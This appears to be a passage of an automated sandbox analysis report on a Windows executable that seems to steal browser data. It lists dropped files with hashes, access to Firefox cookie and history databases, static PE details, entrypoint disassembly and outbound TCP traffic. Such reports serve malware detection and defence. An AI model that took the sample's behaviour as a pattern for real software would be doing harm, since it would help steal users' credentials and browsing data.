                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\_MEI67202\yarl\_quoting_c.cp311-win_amd64.pyd

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                    Category:modified
                                                                                                                                                                                                                                    Size (bytes):41472
                                                                                                                                                                                                                                    Entropy (8bit):7.868227278889233
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:768:dU3TLuhvkAahe3LS0HW7A7I57CdTRgbaa34cU29pU:dCFs7S0HW07I57CBRgkcw
                                                                                                                                                                                                                                    MD5:9A8F969ECDF0C15734C1D582D2AE35D8
                                                                                                                                                                                                                                    SHA1:A40691E81982F610A062E49A5AD29CFFB5A2F5A8
                                                                                                                                                                                                                                    SHA-256:874E52CCEAE9A3C967BAC7B628F4144C32E51FC77F519542FC1BAC19045ECDE8
                                                                                                                                                                                                                                    SHA-512:E0DEB59ABEF7440F30EFFB1AAB6295B5A50C817F685BE30B21A3C453E3099B97FD71984E6CA6A6C6E0021ABB6E906838566F402B00A11813E67A4E00B119619F
                                                                                                                                                                                                                                    Malicious:true
                                                                                                                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......../]..A...A...A.......A...@...A..@...A...D...A...E...A...B...A.[.@...A...@.B.A..`I...A..`A...A..`....A..`C...A.Rich..A.................PE..d....Ype.........." ...%.........`.......p................................... ............`.............................................d...............................................................................@...........................................UPX0.....`..............................UPX1.........p......................@....rsrc...............................@......................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ilxcasv1.gmr.psm1

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                    File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):60
                                                                                                                                                                                                                                    Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                    MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                    SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                    SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                    SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wfxafe0f.2ov.ps1

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                    File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):60
                                                                                                                                                                                                                                    Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                    MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                    SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                    SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                    SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\mk3wzez8

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):4
                                                                                                                                                                                                                                    Entropy (8bit):2.0
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:3:qn:qn
                                                                                                                                                                                                                                    MD5:3F1D1D8D87177D3D8D897D7E421F84D6
                                                                                                                                                                                                                                    SHA1:DD082D742A5CB751290F1DB2BD519C286AA86D95
                                                                                                                                                                                                                                    SHA-256:F02285FB90ED8C81531FE78CF4E2ABB68A62BE73EE7D317623E2C3E3AEFDFFF2
                                                                                                                                                                                                                                    SHA-512:2AE2B3936F31756332CA7A4B877D18F3FCC50E41E9472B5CD45A70BEA82E29A0FA956EE6A9EE0E02F23D9DB56B41D19CB51D88AAC06E9C923A820A21023752A9
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:blat

                                                                                                                                                                                                                                    C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:data
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):32768
                                                                                                                                                                                                                                    Entropy (8bit):0.017262956703125623
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
                                                                                                                                                                                                                                    MD5:B7C14EC6110FA820CA6B65F5AEC85911
                                                                                                                                                                                                                                    SHA1:608EEB7488042453C9CA40F7E1398FC1A270F3F4
                                                                                                                                                                                                                                    SHA-256:FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
                                                                                                                                                                                                                                    SHA-512:D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                    C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:data
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):32768
                                                                                                                                                                                                                                    Entropy (8bit):0.017262956703125623
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
                                                                                                                                                                                                                                    MD5:B7C14EC6110FA820CA6B65F5AEC85911
                                                                                                                                                                                                                                    SHA1:608EEB7488042453C9CA40F7E1398FC1A270F3F4
                                                                                                                                                                                                                                    SHA-256:FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
                                                                                                                                                                                                                                    SHA-512:D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                    C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                    File Type:JSON data
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):55
                                                                                                                                                                                                                                    Entropy (8bit):4.306461250274409
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
                                                                                                                                                                                                                                    MD5:DCA83F08D448911A14C22EBCACC5AD57
                                                                                                                                                                                                                                    SHA1:91270525521B7FE0D986DB19747F47D34B6318AD
                                                                                                                                                                                                                                    SHA-256:2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
                                                                                                                                                                                                                                    SHA-512:96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

                                                                                                                                                                                                                                    Static File Info

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    File type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                    Entropy (8bit):6.304218706058302
                                                                                                                                                                                                                                    TrID:
                                                                                                                                                                                                                                    • Win64 Executable GUI (202006/5) 92.65%
                                                                                                                                                                                                                                    • Win64 Executable (generic) (12005/4) 5.51%
                                                                                                                                                                                                                                    • Generic Win/DOS Executable (2004/3) 0.92%
                                                                                                                                                                                                                                    • DOS Executable Generic (2002/1) 0.92%
                                                                                                                                                                                                                                    • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                                                                                                                                                    File name:9afaXJv52z.exe
                                                                                                                                                                                                                                    File size:16'417'517 bytes
                                                                                                                                                                                                                                    MD5:4d70f444794dedf45c2a6562d4eaed19
                                                                                                                                                                                                                                    SHA1:337a7a9be709b1a3f848256c9e4a421911c265be
                                                                                                                                                                                                                                    SHA256:ca120c365ddd0e24311e36e1ec5d4af6db21b0f2ebd6f7dfd0d6a3a730621367
                                                                                                                                                                                                                                    SHA512:846ed7f6fbdf15ccb13d3dee5261357e8d3efcf8fc0a804ccb0cfafa166d89ba68d688af51d36468c8acd4b66dc209ba5475784ed88fe8eff12c39d0e9faad01
                                                                                                                                                                                                                                    SSDEEP:196608:ZqqMPAEuton3dDTeeNy+wfm/pf+xfdkRuBnfXWK6tSDrIWOIWsDaqkH:lDtet5y+9/pWFGREnfXBPDrIW1TaDH
                                                                                                                                                                                                                                    TLSH:6FF63328B3E11EF6F8A71A75D0D2D821E372FC510B68CB8B436456B90F1B9605D2FB58
                                                                                                                                                                                                                                    File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......U.Q...?...?...?.Z.<...?.Z.:...?.Z.;...?.......?...:.9.?...;...?...<...?.Z.>...?...>...?.+.;...?.+.=...?.Rich..?................

                                                                                                                                                                                                                                    File Icon

                                                                                                                                                                                                                                    Icon Hash:00928e8e8686b000

                                                                                                                                                                                                                                    Static PE Info

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Entrypoint:0x14000c1f0
                                                                                                                                                                                                                                    Entrypoint Section:.text
                                                                                                                                                                                                                                    Digitally signed:false
                                                                                                                                                                                                                                    Imagebase:0x140000000
                                                                                                                                                                                                                                    Subsystem:windows gui
                                                                                                                                                                                                                                    Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
                                                                                                                                                                                                                                    DLL Characteristics:HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
                                                                                                                                                                                                                                    Time Stamp:0x6590C704 [Sun Dec 31 01:42:28 2023 UTC]
                                                                                                                                                                                                                                    TLS Callbacks:
                                                                                                                                                                                                                                    CLR (.Net) Version:
                                                                                                                                                                                                                                    OS Version Major:5
                                                                                                                                                                                                                                    OS Version Minor:2
                                                                                                                                                                                                                                    File Version Major:5
                                                                                                                                                                                                                                    File Version Minor:2
                                                                                                                                                                                                                                    Subsystem Version Major:5
                                                                                                                                                                                                                                    Subsystem Version Minor:2
                                                                                                                                                                                                                                    Import Hash:1af6c885af093afc55142c2f1761dbe8

                                                                                                                                                                                                                                    Entrypoint Preview

                                                                                                                                                                                                                                    Instruction
                                                                                                                                                                                                                                    dec eax
                                                                                                                                                                                                                                    sub esp, 28h
                                                                                                                                                                                                                                    call 00007FA108BA441Ch
                                                                                                                                                                                                                                    dec eax
                                                                                                                                                                                                                                    add esp, 28h
                                                                                                                                                                                                                                    jmp 00007FA108BA402Fh
                                                                                                                                                                                                                                    int3
                                                                                                                                                                                                                                    int3
                                                                                                                                                                                                                                    int3
                                                                                                                                                                                                                                    int3
                                                                                                                                                                                                                                    int3
                                                                                                                                                                                                                                    int3
                                                                                                                                                                                                                                    int3
                                                                                                                                                                                                                                    int3
                                                                                                                                                                                                                                    int3
                                                                                                                                                                                                                                    int3
                                                                                                                                                                                                                                    int3
                                                                                                                                                                                                                                    int3
                                                                                                                                                                                                                                    int3
                                                                                                                                                                                                                                    int3
                                                                                                                                                                                                                                    dec eax
                                                                                                                                                                                                                                    sub esp, 28h
                                                                                                                                                                                                                                    call 00007FA108BA4994h
                                                                                                                                                                                                                                    test eax, eax
                                                                                                                                                                                                                                    je 00007FA108BA41D3h
                                                                                                                                                                                                                                    dec eax
                                                                                                                                                                                                                                    mov eax, dword ptr [00000030h]
                                                                                                                                                                                                                                    dec eax
                                                                                                                                                                                                                                    mov ecx, dword ptr [eax+08h]
                                                                                                                                                                                                                                    jmp 00007FA108BA41B7h
                                                                                                                                                                                                                                    dec eax
                                                                                                                                                                                                                                    cmp ecx, eax
                                                                                                                                                                                                                                    je 00007FA108BA41C6h
                                                                                                                                                                                                                                    xor eax, eax
                                                                                                                                                                                                                                    dec eax
                                                                                                                                                                                                                                    cmpxchg dword ptr [0003427Ch], ecx
                                                                                                                                                                                                                                    jne 00007FA108BA41A0h
                                                                                                                                                                                                                                    xor al, al
                                                                                                                                                                                                                                    dec eax
                                                                                                                                                                                                                                    add esp, 28h
                                                                                                                                                                                                                                    ret
                                                                                                                                                                                                                                    mov al, 01h
                                                                                                                                                                                                                                    jmp 00007FA108BA41A9h
                                                                                                                                                                                                                                    int3
                                                                                                                                                                                                                                    int3
                                                                                                                                                                                                                                    int3
                                                                                                                                                                                                                                    inc eax
                                                                                                                                                                                                                                    push ebx
                                                                                                                                                                                                                                    dec eax
                                                                                                                                                                                                                                    sub esp, 20h
                                                                                                                                                                                                                                    movzx eax, byte ptr [00034267h]
                                                                                                                                                                                                                                    test ecx, ecx
                                                                                                                                                                                                                                    mov ebx, 00000001h
                                                                                                                                                                                                                                    cmove eax, ebx
                                                                                                                                                                                                                                    mov byte ptr [00034257h], al
                                                                                                                                                                                                                                    call 00007FA108BA4793h
                                                                                                                                                                                                                                    call 00007FA108BA58B2h
                                                                                                                                                                                                                                    test al, al
                                                                                                                                                                                                                                    jne 00007FA108BA41B6h
                                                                                                                                                                                                                                    xor al, al
                                                                                                                                                                                                                                    jmp 00007FA108BA41C6h
                                                                                                                                                                                                                                    call 00007FA108BB2851h
                                                                                                                                                                                                                                    test al, al
                                                                                                                                                                                                                                    jne 00007FA108BA41BBh
                                                                                                                                                                                                                                    xor ecx, ecx
                                                                                                                                                                                                                                    call 00007FA108BA58C2h
                                                                                                                                                                                                                                    jmp 00007FA108BA419Ch
                                                                                                                                                                                                                                    mov al, bl
                                                                                                                                                                                                                                    dec eax
                                                                                                                                                                                                                                    add esp, 20h
                                                                                                                                                                                                                                    pop ebx
                                                                                                                                                                                                                                    ret
                                                                                                                                                                                                                                    int3
                                                                                                                                                                                                                                    int3
                                                                                                                                                                                                                                    int3
                                                                                                                                                                                                                                    inc eax
                                                                                                                                                                                                                                    push ebx
                                                                                                                                                                                                                                    dec eax
                                                                                                                                                                                                                                    sub esp, 20h
                                                                                                                                                                                                                                    cmp byte ptr [0003421Ch], 00000000h
                                                                                                                                                                                                                                    mov ebx, ecx
                                                                                                                                                                                                                                    jne 00007FA108BA4219h
                                                                                                                                                                                                                                    cmp ecx, 01h
                                                                                                                                                                                                                                    jnbe 00007FA108BA421Ch
                                                                                                                                                                                                                                    call 00007FA108BA48FAh
                                                                                                                                                                                                                                    test eax, eax
                                                                                                                                                                                                                                    je 00007FA108BA41DAh

                                                                                                                                                                                                                                    Data Directories

                                                                                                                                                                                                                                    NameVirtual AddressVirtual Size Is in Section
                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_IMPORT0x3cdcc0x78.rdata
                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_RESOURCE0x460000x92c.rsrc
                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_EXCEPTION0x420000x22a4.pdata
                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_BASERELOC0x470000x75c.reloc
                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_DEBUG0x3a3300x1c.rdata
                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x3a1f00x140.rdata
                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_IAT0x2b0000x420.rdata
                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                                                                                                                    Sections

                                                                                                                                                                                                                                    NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                                                                                                                    .text0x10000x29c900x29e00False0.5523087686567164data6.4831047330596565IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                                    .rdata0x2b0000x12bf40x12c00False0.5184375data5.835005508115744IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                                    .data0x3e0000x33380xe00False0.1328125Matlab v4 mat-file (little endian) f\324\377\3772\242\337-\231+, text, rows 4294967295, columns 01.8271683819747706IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                                    .pdata0x420000x22a40x2400False0.4720052083333333data5.316391891279308IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                                    _RDATA0x450000x15c0x200False0.38671875data2.83326547900447IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                                    .rsrc0x460000x92c0xa00False0.424609375data5.142504127612272IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                                    .reloc0x470000x75c0x800False0.5458984375data5.240127521097618IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                                                                                                                                                                                    Resources

                                                                                                                                                                                                                                    NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                                                                                                                                    RT_VERSION0x460a00x37cdata0.460762331838565
                                                                                                                                                                                                                                    RT_MANIFEST0x4641c0x50dXML 1.0 document, ASCII text0.4694508894044857

                                                                                                                                                                                                                                    Imports

                                                                                                                                                                                                                                    DLLImport
                                                                                                                                                                                                                                    USER32.dllCreateWindowExW, MessageBoxW, MessageBoxA, SystemParametersInfoW, DestroyIcon, SetWindowLongPtrW, GetWindowLongPtrW, GetClientRect, InvalidateRect, ReleaseDC, GetDC, DrawTextW, GetDialogBaseUnits, EndDialog, DialogBoxIndirectParamW, MoveWindow, SendMessageW
                                                                                                                                                                                                                                    COMCTL32.dll
                                                                                                                                                                                                                                    KERNEL32.dllIsValidCodePage, GetStringTypeW, GetFileAttributesExW, HeapReAlloc, FlushFileBuffers, GetCurrentDirectoryW, GetACP, GetOEMCP, GetModuleHandleW, MulDiv, GetLastError, SetDllDirectoryW, GetModuleFileNameW, CreateSymbolicLinkW, GetProcAddress, GetCommandLineW, GetEnvironmentVariableW, GetCPInfo, ExpandEnvironmentStringsW, CreateDirectoryW, GetTempPathW, WaitForSingleObject, Sleep, GetExitCodeProcess, CreateProcessW, GetStartupInfoW, FreeLibrary, LoadLibraryExW, SetConsoleCtrlHandler, FindClose, FindFirstFileExW, CloseHandle, GetCurrentProcess, LocalFree, FormatMessageW, MultiByteToWideChar, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, GetProcessHeap, GetTimeZoneInformation, HeapSize, WriteConsoleW, SetEndOfFile, SetEnvironmentVariableW, RtlUnwindEx, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, RaiseException, RtlPcToFileHeader, GetCommandLineA, CreateFileW, GetDriveTypeW, GetFileInformationByHandle, GetFileType, PeekNamedPipe, SystemTimeToTzSpecificLocalTime, FileTimeToSystemTime, GetFullPathNameW, RemoveDirectoryW, FindNextFileW, SetStdHandle, DeleteFileW, ReadFile, GetStdHandle, WriteFile, ExitProcess, GetModuleHandleExW, HeapFree, GetConsoleMode, ReadConsoleW, SetFilePointerEx, GetConsoleOutputCP, GetFileSizeEx, HeapAlloc, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, CompareStringW, LCMapStringW
                                                                                                                                                                                                                                    ADVAPI32.dllOpenProcessToken, GetTokenInformation, ConvertStringSecurityDescriptorToSecurityDescriptorW, ConvertSidToStringSidW
                                                                                                                                                                                                                                    GDI32.dllSelectObject, DeleteObject, CreateFontIndirectW

                                                                                                                                                                                                                                    Network Behavior

                                                                                                                                                                                                                                    Network Port Distribution

                                                                                                                                                                                                                                    TCP Packets

                                                                                                                                                                                                                                    TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:16.196021080 CET4971080192.168.2.7208.95.112.1
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:16.340521097 CET8049710208.95.112.1192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:16.340610981 CET4971080192.168.2.7208.95.112.1
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:16.407463074 CET4971080192.168.2.7208.95.112.1
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:16.598507881 CET8049710208.95.112.1192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:16.599359989 CET4971080192.168.2.7208.95.112.1
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:16.740725994 CET8049710208.95.112.1192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:16.741622925 CET4971080192.168.2.7208.95.112.1
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.249651909 CET49720443192.168.2.7162.159.128.233
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.249700069 CET44349720162.159.128.233192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.249769926 CET49720443192.168.2.7162.159.128.233
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.251135111 CET49720443192.168.2.7162.159.128.233
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.251151085 CET44349720162.159.128.233192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.455388069 CET44349720162.159.128.233192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.456013918 CET49720443192.168.2.7162.159.128.233
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.456036091 CET44349720162.159.128.233192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.457503080 CET44349720162.159.128.233192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.457572937 CET49720443192.168.2.7162.159.128.233
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.459033966 CET49720443192.168.2.7162.159.128.233
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.459160089 CET44349720162.159.128.233192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.459527969 CET49720443192.168.2.7162.159.128.233
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.459538937 CET44349720162.159.128.233192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.459686041 CET49720443192.168.2.7162.159.128.233
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.459701061 CET44349720162.159.128.233192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.684170961 CET44349720162.159.128.233192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.684322119 CET44349720162.159.128.233192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.684869051 CET49720443192.168.2.7162.159.128.233
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.685476065 CET49720443192.168.2.7162.159.128.233
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.685493946 CET44349720162.159.128.233192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.688519001 CET49721443192.168.2.7162.159.128.233
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.688556910 CET44349721162.159.128.233192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.688632011 CET49721443192.168.2.7162.159.128.233
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.689486027 CET49721443192.168.2.7162.159.128.233
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.689497948 CET44349721162.159.128.233192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.888324976 CET44349721162.159.128.233192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.888984919 CET49721443192.168.2.7162.159.128.233
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.889003038 CET44349721162.159.128.233192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.890506983 CET44349721162.159.128.233192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.890578032 CET49721443192.168.2.7162.159.128.233
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.891668081 CET49721443192.168.2.7162.159.128.233
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.891755104 CET44349721162.159.128.233192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.892075062 CET49721443192.168.2.7162.159.128.233
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.892080069 CET44349721162.159.128.233192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.892189026 CET49721443192.168.2.7162.159.128.233
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.933933973 CET44349721162.159.128.233192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.945255995 CET49721443192.168.2.7162.159.128.233
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.181515932 CET44349721162.159.128.233192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.181688070 CET44349721162.159.128.233192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.181792021 CET49721443192.168.2.7162.159.128.233
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.182259083 CET49721443192.168.2.7162.159.128.233
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.182276011 CET44349721162.159.128.233192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.185606003 CET49722443192.168.2.7162.159.136.232
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.185642958 CET44349722162.159.136.232192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.185705900 CET49722443192.168.2.7162.159.136.232
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.186949968 CET49722443192.168.2.7162.159.136.232
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.186983109 CET44349722162.159.136.232192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.384932041 CET44349722162.159.136.232192.168.2.7
